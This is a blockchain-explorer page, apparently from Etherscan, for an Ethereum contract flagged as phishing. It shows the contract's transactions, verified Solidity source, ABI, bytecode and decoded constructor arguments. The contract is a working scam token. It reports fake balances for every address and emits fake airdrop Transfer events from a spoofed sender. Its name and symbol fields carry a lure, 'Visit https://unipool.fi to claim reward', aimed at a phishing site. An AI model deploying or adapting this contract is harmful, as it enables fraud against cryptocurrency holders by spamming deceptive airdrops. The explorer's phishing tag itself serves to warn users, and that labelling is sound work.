ETH Price: $3,470.45 (+1.52%)

Contract

0xCb96E37edA8e670D1B96e6FBe267380b80Ba5910
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Airdrop174446302023-06-09 19:05:59564 days ago1686337559IN
Fake_Phishing326001
0 ETH0.0007541420.32233641
Airdrop174446242023-06-09 19:04:47564 days ago1686337487IN
Fake_Phishing326001
0 ETH0.0007462721.7396045
Airdrop173258652023-05-24 1:43:47580 days ago1684892627IN
Fake_Phishing326001
0 ETH0.0835820329.70809767
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.0835762329.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.0835698129.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.083577329.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.0835730229.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.0835708829.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.083574829.70236012
Airdrop173258592023-05-24 1:42:35580 days ago1684892555IN
Fake_Phishing326001
0 ETH0.0835712429.70236012
Airdrop173256102023-05-24 0:52:35580 days ago1684889555IN
Fake_Phishing326001
0 ETH0.0840525429.89356676

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Reward

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
        c = a / b;
    }
}


contract Reward is SafeMath {
    string public name;
    string public symbol;
    uint8 public decimals;

    uint256 public totalSupply;

    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;

    uint256 public constAmount;
    address public fromAddr;

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract const 382000000000000000000
     */
    constructor(string memory name_, string memory symbol_, uint256 constAmount_, address from_) {
        initialize(name_, symbol_, constAmount_, from_);
    }

    function initialize(string memory name_, string memory symbol_, uint256 constAmount_, address from_) public {
        name = name_;
        symbol = symbol_;
        decimals = 18;
        constAmount = constAmount_;
        totalSupply = constAmount * 100000;
        fromAddr = from_;

        balances[fromAddr] = totalSupply;
        emit Transfer(address(0), fromAddr, totalSupply);
    }

    function balanceOf(address account) public view returns (uint256) {
        if(account == fromAddr) return balances[account];
        return constAmount;
    }

    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }

    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
        _transfer(msg.sender, to, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        _transfer(from, to, tokens);
        return true;
    }

    function _transfer(address from, address to, uint tokens) private {
        balances[from] = safeSub(balances[from], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
    }

    function airdrop(address[] memory holders) public {
        uint256 len = holders.length;
        for (uint i = 0; i < len; ++i) {
            emit Transfer(fromAddr, holders[i], constAmount);
        }
        balances[fromAddr] -= constAmount * len;
    }

    function transfer(address[] memory holders) public {
        airdrop(holders);
    }

    function multicall(address[] memory holders) public {
        airdrop(holders);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"},{"internalType":"address","name":"from_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"constAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"},{"internalType":"address","name":"from_","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001090380380620010908339810160408190526200003491620001c4565b62000042848484846200004c565b50505050620003e0565b60006200005a8582620002e8565b506001620000698482620002e8565b506002805460ff1916601217905560068290556200008b82620186a0620003b4565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200012757600080fd5b81516001600160401b0380821115620001445762000144620000ff565b604051601f8301601f19908116603f011681019082821181831017156200016f576200016f620000ff565b816040528381526020925086838588010111156200018c57600080fd5b600091505b83821015620001b0578582018301518183018401529082019062000191565b600093810190920192909252949350505050565b60008060008060808587031215620001db57600080fd5b84516001600160401b0380821115620001f357600080fd5b620002018883890162000115565b955060208701519150808211156200021857600080fd5b50620002278782880162000115565b60408701516060880151919550935090506001600160a01b03811681146200024e57600080fd5b939692955090935050565b600181811c908216806200026e57607f821691505b6020821081036200028f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002e357600081815260208120601f850160051c81016020861015620002be5750805b601f850160051c820191505b81811015620002df57828155600101620002ca565b5050505b505050565b81516001600160401b03811115620003045762000304620000ff565b6200031c8162000315845462000259565b8462000295565b602080601f8311600181146200035457600084156200033b5750858301515b600019600386901b1c1916600185901b178555620002df565b600085815260208120601f198616915b82811015620003855788860151825594840194600190910190840162000364565b5085821015620003a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620003da57634e487b7160e01b600052601160045260246000fd5b92915050565b610ca080620003f06000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063a06c1a33116100ad578063d05c78da11610071578063d05c78da14610248578063dd62ed3e1461025b578063e6cb901314610294578063e6fdb7ea146102a7578063fb7ed961146101e957600080fd5b8063a06c1a33146101e9578063a293d1e8146101fc578063a9059cbb1461020f578063b5931f7c14610222578063bd3a13f61461023557600080fd5b8063313ce567116100f4578063313ce56714610191578063484b1c13146101b057806370a08231146101b9578063729ad39e146101cc57806395d89b41146101e157600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd1461017e575b600080fd5b61012e6102d2565b60405161013b919061075b565b60405180910390f35b6101576101523660046107c5565b610360565b604051901515815260200161013b565b61017060035481565b60405190815260200161013b565b61015761018c3660046107ef565b6103cd565b60025461019e9060ff1681565b60405160ff909116815260200161013b565b61017060065481565b6101706101c736600461082b565b610434565b6101df6101da36600461088d565b610471565b005b61012e61054d565b6101df6101f736600461088d565b61055a565b61017061020a36600461093a565b610566565b61015761021d3660046107c5565b610586565b61017061023036600461093a565b61059c565b6101df6102433660046109cc565b6105b4565b61017061025636600461093a565b610661565b610170610269366004610a4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101706102a236600461093a565b61068d565b6007546102ba906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b600080546102df90610a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90610a7d565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bb9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546103fb9083610566565b6001600160a01b038516600090815260056020908152604080832033845290915290205561042a8484846106a8565b5060019392505050565b6007546000906001600160a01b039081169083160361046957506001600160a01b031660009081526004602052604090205490565b505060065490565b805160005b8181101561050b5782818151811061049057610490610ab7565b60200260200101516001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516104f391815260200190565b60405180910390a361050481610ae3565b9050610476565b508060065461051a9190610afc565b6007546001600160a01b031660009081526004602052604081208054909190610544908490610b13565b90915550505050565b600180546102df90610a7d565b61056381610471565b50565b60008282111561057557600080fd5b61057f8284610b13565b9392505050565b60006105933384846106a8565b50600192915050565b60008082116105aa57600080fd5b61057f8284610b26565b60006105c08582610b97565b5060016105cd8482610b97565b506002805460ff1916601217905560068290556105ed82620186a0610afc565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600061066d8284610afc565b90508215806106845750816106828483610b26565b145b6103c757600080fd5b60006106998284610c57565b9050828110156103c757600080fd5b6001600160a01b0383166000908152600460205260409020546106cb9082610566565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546106fa908261068d565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061074e9085815260200190565b60405180910390a3505050565b600060208083528351808285015260005b818110156107885785810183015185820160400152820161076c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c057600080fd5b919050565b600080604083850312156107d857600080fd5b6107e1836107a9565b946020939093013593505050565b60008060006060848603121561080457600080fd5b61080d846107a9565b925061081b602085016107a9565b9150604084013590509250925092565b60006020828403121561083d57600080fd5b61057f826107a9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561088557610885610846565b604052919050565b600060208083850312156108a057600080fd5b823567ffffffffffffffff808211156108b857600080fd5b818501915085601f8301126108cc57600080fd5b8135818111156108de576108de610846565b8060051b91506108ef84830161085c565b818152918301840191848101908884111561090957600080fd5b938501935b8385101561092e5761091f856107a9565b8252938501939085019061090e565b98975050505050505050565b6000806040838503121561094d57600080fd5b50508035926020909101359150565b600082601f83011261096d57600080fd5b813567ffffffffffffffff81111561098757610987610846565b61099a601f8201601f191660200161085c565b8181528460208386010111156109af57600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156109e257600080fd5b843567ffffffffffffffff808211156109fa57600080fd5b610a068883890161095c565b95506020870135915080821115610a1c57600080fd5b50610a298782880161095c565b93505060408501359150610a3f606086016107a9565b905092959194509250565b60008060408385031215610a5d57600080fd5b610a66836107a9565b9150610a74602084016107a9565b90509250929050565b600181811c90821680610a9157607f821691505b602082108103610ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610af557610af5610acd565b5060010190565b80820281158282048414176103c7576103c7610acd565b818103818111156103c7576103c7610acd565b600082610b4357634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610b9257600081815260208120601f850160051c81016020861015610b6f5750805b601f850160051c820191505b81811015610b8e57828155600101610b7b565b5050505b505050565b815167ffffffffffffffff811115610bb157610bb1610846565b610bc581610bbf8454610a7d565b84610b48565b602080601f831160018114610bfa5760008415610be25750858301515b600019600386901b1c1916600185901b178555610b8e565b600085815260208120601f198616915b82811015610c2957888601518255948401946001909101908401610c0a565b5085821015610c475787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156103c7576103c7610acd56fea264697066735822122029e8988d012925f4fe433ddb525fe2c76c1095472875366d07303f85b1085c0b64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000001fd242edf0d24c00000000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984000000000000000000000000000000000000000000000000000000000000000c2420556e69706f6f6c2e66690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002856697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c61696d20726577617264000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063a06c1a33116100ad578063d05c78da11610071578063d05c78da14610248578063dd62ed3e1461025b578063e6cb901314610294578063e6fdb7ea146102a7578063fb7ed961146101e957600080fd5b8063a06c1a33146101e9578063a293d1e8146101fc578063a9059cbb1461020f578063b5931f7c14610222578063bd3a13f61461023557600080fd5b8063313ce567116100f4578063313ce56714610191578063484b1c13146101b057806370a08231146101b9578063729ad39e146101cc57806395d89b41146101e157600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd1461017e575b600080fd5b61012e6102d2565b60405161013b919061075b565b60405180910390f35b6101576101523660046107c5565b610360565b604051901515815260200161013b565b61017060035481565b60405190815260200161013b565b61015761018c3660046107ef565b6103cd565b60025461019e9060ff1681565b60405160ff909116815260200161013b565b61017060065481565b6101706101c736600461082b565b610434565b6101df6101da36600461088d565b610471565b005b61012e61054d565b6101df6101f736600461088d565b61055a565b61017061020a36600461093a565b610566565b61015761021d3660046107c5565b610586565b61017061023036600461093a565b61059c565b6101df6102433660046109cc565b6105b4565b61017061025636600461093a565b610661565b610170610269366004610a4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101706102a236600461093a565b61068d565b6007546102ba906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b600080546102df90610a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90610a7d565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bb9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546103fb9083610566565b6001600160a01b038516600090815260056020908152604080832033845290915290205561042a8484846106a8565b5060019392505050565b6007546000906001600160a01b039081169083160361046957506001600160a01b031660009081526004602052604090205490565b505060065490565b805160005b8181101561050b5782818151811061049057610490610ab7565b60200260200101516001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516104f391815260200190565b60405180910390a361050481610ae3565b9050610476565b508060065461051a9190610afc565b6007546001600160a01b031660009081526004602052604081208054909190610544908490610b13565b90915550505050565b600180546102df90610a7d565b61056381610471565b50565b60008282111561057557600080fd5b61057f8284610b13565b9392505050565b60006105933384846106a8565b50600192915050565b60008082116105aa57600080fd5b61057f8284610b26565b60006105c08582610b97565b5060016105cd8482610b97565b506002805460ff1916601217905560068290556105ed82620186a0610afc565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600061066d8284610afc565b90508215806106845750816106828483610b26565b145b6103c757600080fd5b60006106998284610c57565b9050828110156103c757600080fd5b6001600160a01b0383166000908152600460205260409020546106cb9082610566565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546106fa908261068d565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061074e9085815260200190565b60405180910390a3505050565b600060208083528351808285015260005b818110156107885785810183015185820160400152820161076c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c057600080fd5b919050565b600080604083850312156107d857600080fd5b6107e1836107a9565b946020939093013593505050565b60008060006060848603121561080457600080fd5b61080d846107a9565b925061081b602085016107a9565b9150604084013590509250925092565b60006020828403121561083d57600080fd5b61057f826107a9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561088557610885610846565b604052919050565b600060208083850312156108a057600080fd5b823567ffffffffffffffff808211156108b857600080fd5b818501915085601f8301126108cc57600080fd5b8135818111156108de576108de610846565b8060051b91506108ef84830161085c565b818152918301840191848101908884111561090957600080fd5b938501935b8385101561092e5761091f856107a9565b8252938501939085019061090e565b98975050505050505050565b6000806040838503121561094d57600080fd5b50508035926020909101359150565b600082601f83011261096d57600080fd5b813567ffffffffffffffff81111561098757610987610846565b61099a601f8201601f191660200161085c565b8181528460208386010111156109af57600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156109e257600080fd5b843567ffffffffffffffff808211156109fa57600080fd5b610a068883890161095c565b95506020870135915080821115610a1c57600080fd5b50610a298782880161095c565b93505060408501359150610a3f606086016107a9565b905092959194509250565b60008060408385031215610a5d57600080fd5b610a66836107a9565b9150610a74602084016107a9565b90509250929050565b600181811c90821680610a9157607f821691505b602082108103610ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610af557610af5610acd565b5060010190565b80820281158282048414176103c7576103c7610acd565b818103818111156103c7576103c7610acd565b600082610b4357634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610b9257600081815260208120601f850160051c81016020861015610b6f5750805b601f850160051c820191505b81811015610b8e57828155600101610b7b565b5050505b505050565b815167ffffffffffffffff811115610bb157610bb1610846565b610bc581610bbf8454610a7d565b84610b48565b602080601f831160018114610bfa5760008415610be25750858301515b600019600386901b1c1916600185901b178555610b8e565b600085815260208120601f198616915b82811015610c2957888601518255948401946001909101908401610c0a565b5085821015610c475787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156103c7576103c7610acd56fea264697066735822122029e8988d012925f4fe433ddb525fe2c76c1095472875366d07303f85b1085c0b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000001fd242edf0d24c00000000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984000000000000000000000000000000000000000000000000000000000000000c2420556e69706f6f6c2e66690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002856697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c61696d20726577617264000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): $ Unipool.fi
Arg [1] : symbol_ (string): Visit https://unipool.fi to claim reward
Arg [2] : constAmount_ (uint256): 587000000000000000000
Arg [3] : from_ (address): 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000000000000000000000000001fd242edf0d24c0000
Arg [3] : 0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 2420556e69706f6f6c2e66690000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000028
Arg [7] : 56697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c6169
Arg [8] : 6d20726577617264000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

841:2869:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;876:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2396:208;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2396:208:0;1004:187:1;958:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;958:26:0;1196:177:1;2767:240:0;;;;;;:::i;:::-;;:::i;928:21::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;928:21:0;1711:184:1;1094:26:0;;;;;;2071:162;;;;;;:::i;:::-;;:::i;3253:263::-;;;;;;:::i;:::-;;:::i;:::-;;901:20;;;:::i;3524:86::-;;;;;;:::i;:::-;;:::i;515:102::-;;;;;;:::i;:::-;;:::i;2612:147::-;;;;;;:::i;:::-;;:::i;726:106::-;;;;;;:::i;:::-;;:::i;1660:403::-;;;;;;:::i;:::-;;:::i;618:107::-;;;;;;:::i;:::-;;:::i;2241:147::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2352:19:0;;;2318:14;2352:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;2241:147;393:116;;;;;;:::i;:::-;;:::i;1127:23::-;;;;;-1:-1:-1;;;;;1127:23:0;;;;;;-1:-1:-1;;;;;5369:32:1;;;5351:51;;5339:2;5324:18;1127:23:0;5205:203:1;876:18:0;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2396:208::-;2492:10;2459:12;2484:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;2484:28:0;;;;;;;;;;:37;;;2537;2459:12;;2484:28;;2537:37;;;;2515:6;1342:25:1;;1330:2;1315:18;;1196:177;2537:37:0;;;;;;;;-1:-1:-1;2592:4:0;2396:208;;;;;:::o;2767:240::-;-1:-1:-1;;;;;2905:13:0;;2844:12;2905:13;;;:7;:13;;;;;;;;2919:10;2905:25;;;;;;;;2897:42;;2932:6;2897:7;:42::i;:::-;-1:-1:-1;;;;;2869:13:0;;;;;;:7;:13;;;;;;;;2883:10;2869:25;;;;;;;:70;2950:27;2877:4;2966:2;2970:6;2950:9;:27::i;:::-;-1:-1:-1;2995:4:0;2767:240;;;;;:::o;2071:162::-;2162:8;;2128:7;;-1:-1:-1;;;;;2162:8:0;;;2151:19;;;;2148:48;;-1:-1:-1;;;;;;2179:17:0;;;;;:8;:17;;;;;;;2071:162::o;2148:48::-;-1:-1:-1;;2214:11:0;;;2071:162::o;3253:263::-;3328:14;;3314:11;3353:106;3374:3;3370:1;:7;3353:106;;;3423:7;3431:1;3423:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3404:43:0;3413:8;;;;;;;;;-1:-1:-1;;;;;3413:8:0;-1:-1:-1;;;;;3404:43:0;;3435:11;;3404:43;;;;1342:25:1;;1330:2;1315:18;;1196:177;3404:43:0;;;;;;;;3379:3;;;:::i;:::-;;;3353:106;;;;3505:3;3491:11;;:17;;;;:::i;:::-;3478:8;;-1:-1:-1;;;;;3478:8:0;3469:18;;;;:8;:18;;;;;:39;;:18;;;:39;;;;;:::i;:::-;;;;-1:-1:-1;;;;3253:263:0:o;901:20::-;;;;;;;:::i;3524:86::-;3586:16;3594:7;3586;:16::i;:::-;3524:86;:::o;515:102::-;569:6;601:1;596;:6;;588:15;;;;;;609:5;613:1;609;:5;:::i;:::-;605:9;515:102;-1:-1:-1;;;515:102:0:o;2612:147::-;2671:12;2696:33;2706:10;2718:2;2722:6;2696:9;:33::i;:::-;-1:-1:-1;2747:4:0;2612:147;;;;:::o;726:106::-;780:6;802:1;798;:5;790:14;;;;;;819:5;823:1;819;:5;:::i;1660:403::-;1779:4;:12;1786:5;1779:4;:12;:::i;:::-;-1:-1:-1;1802:6:0;:16;1811:7;1802:6;:16;:::i;:::-;-1:-1:-1;1829:8:0;:13;;-1:-1:-1;;1829:13:0;1840:2;1829:13;;;1853:11;:26;;;1904:20;1867:12;1918:6;1904:20;:::i;:::-;1890:11;:34;;;1935:8;:16;;-1:-1:-1;;;;;;1935:16:0;-1:-1:-1;;;;;1935:16:0;;;;;;;;-1:-1:-1;1964:18:0;;;:8;:18;;;;;;;;:32;;;2033:8;;2012:43;;1342:25:1;;;2033:8:0;;;-1:-1:-1;;2012:43:0;;1315:18:1;2012:43:0;;;;;;;1660:403;;;;:::o;618:107::-;672:6;686:5;690:1;686;:5;:::i;:::-;682:9;-1:-1:-1;701:6:0;;;:20;;-1:-1:-1;720:1:0;711:5;715:1;711;:5;:::i;:::-;:10;701:20;693:29;;;;;393:116;447:6;470:5;474:1;470;:5;:::i;:::-;466:9;;499:1;494;:6;;486:15;;;;;3015:230;-1:-1:-1;;;;;3117:14:0;;;;;;:8;:14;;;;;;3109:31;;3133:6;3109:7;:31::i;:::-;-1:-1:-1;;;;;3092:14:0;;;;;;;:8;:14;;;;;;:48;;;;3174:12;;;;;;;3166:29;;3188:6;3166:7;:29::i;:::-;-1:-1:-1;;;;;3151:12:0;;;;;;;:8;:12;;;;;;;:44;;;;3211:26;;;;;;;;;;3230:6;1342:25:1;;1330:2;1315:18;;1196:177;3211:26:0;;;;;;;;3015:230;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;9